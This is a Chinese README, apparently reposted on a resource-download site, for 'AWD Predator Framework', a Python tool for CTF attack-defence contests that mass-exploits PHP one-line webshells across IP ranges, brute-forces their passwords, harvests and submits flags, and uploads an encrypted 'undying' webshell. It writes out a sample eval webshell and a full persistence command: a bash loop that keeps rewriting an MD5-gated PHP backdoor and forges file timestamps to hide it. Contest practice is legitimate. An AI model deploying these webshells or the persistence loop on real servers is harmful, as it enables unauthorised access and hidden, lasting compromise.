AWD Predator Framework v2.0
--code by AresX
* 在AWD攻防赛中通过给定的webshell批量获取提交flag
* 为不会现场挖洞写脚本的菜鸡准备
* 用py去实现菜刀是一件代码量很大的事情,懒得做也不会做(以后可能会做),所以需要手动设置一句话的功能函数和方法
* 针对简单的单参数传递的一句话和特定的加密一句话
python console.py
添加已知的webshell,仅支持php,GET和POST方法使用eval和exec函数的一句话木马
命令add
使用方法: add [shell path] [pwd] [type(eval/exec)] [method(get/post)]
如一句话为<?php ($_POST[‘cmd’]);?> 路径为x.x.x.x:8001://index/cmd.php
一句话密码为cmd 功能函数为eval 方法为POST
example:add :8001/index/cmd.php cmd eval post
注意这里添加一句话路径不加ip地址,ip地址要使用命令ip生成
命令执行后webshell的路径和密码会以字典的形式储存
处理了使用md5加密的eval函数一句话,
get方法在添加时,可添加带md5加密的密码的路径
如:add :8003/x.php?pass=fuckyou x eval get
post方法请在flag.py中修改for j in POST_e:循环中的e['pass']为自己的密码,密码将被自动传递
post添加方法同add :8001/index/cmd.php cmd eval post
命令show
将显示所有添加的webshell路径和密码
保存:save
读取:load
清空:clear //清空不会清空已经储存的webshell,除非在清空后执行保存命令
*采用一种提速千倍的爆破方法*
命令: crack
字典储存在auxi/pwd.txt中,可自行完善字典
根据输入生成指定段的ip列表
命令: ip x.x.a-b.x
可设定acb任意段的ip列表,使用'-'连接左右区间
命令: ip x.x.x.x
执行命令后,x.x.x.x将被添加到ip列表中,会自动去除重复项和进行排序
命令: showip
显示生成的ip列表
命令: clearip
命令: removeip x.x.x.x
通过iplist和webshell获取flag,将获取到的flag提交到指定服务器
命令:getflag [command]
example:getflag curl www.baidu.com/flag.txt
获取命令如果不需要修改只需完整输入一次,之后可直接执行getflag
命令: showflag
攻防赛环境中获取到的flag通常不是标准格式,flag.py中的submit_flag函数中已经使用了re.compile(r'flag{\w+?}')尝试匹配标准flag格式
如果出现问题,请自行在flag.py文件的submit_flag函数中使用正则匹配获得标准flag进行提交
*提交flag 需设定提交flag的链接,以及cookie和data,使用"?"替换flag在data中所在的参数*
命令: submit [url] [cookie] data
example: submit http:xxx.xxx.xx/xx/ JSESSIONID=A6F8;route=6cf03 pid=-1&pidName=&flag=?
去掉cookie中的空格,data中flag所在位置需用?代替!
提交命令如果不需要修改只需完整输入一次,之后可直接执行submit
submit完成之后会有清空flag的选项(y/n)
命令: clearflag
命令: upload <file>(default='auxi/shell.php')
默认上传文件为auxi/shell.php 如需使用修改默认文件,默认文件为加密不死马
如需上传其他文件,将文件储存在auxi/目录下
执行upload xxx即可
如上传默认文件,直接执行upload
如果文件上传成功,会自动访问一次上传的文件,激活不死马
命令: cupload
连接一句话执行bash命令生成不死马.index1.php
bash命令为:system('while true;do echo \'<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){($_POST[a]);} ?>\' >fuck.php;touch -m -d "2017-11-12 10:10:10" .index1.php;sleep 1;done;');
如果要修改请修改command.py中的data[z0]
---
开发语言:Python
Star 数:427
该项目属于CTF思路方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕AWD攻防赛webshell批量利用框架展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | AWD-Predator-Framework - AWD攻防赛webshell批量利用框架 |
| 所属分类 | CTF思路 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 23:41:46 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 314 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |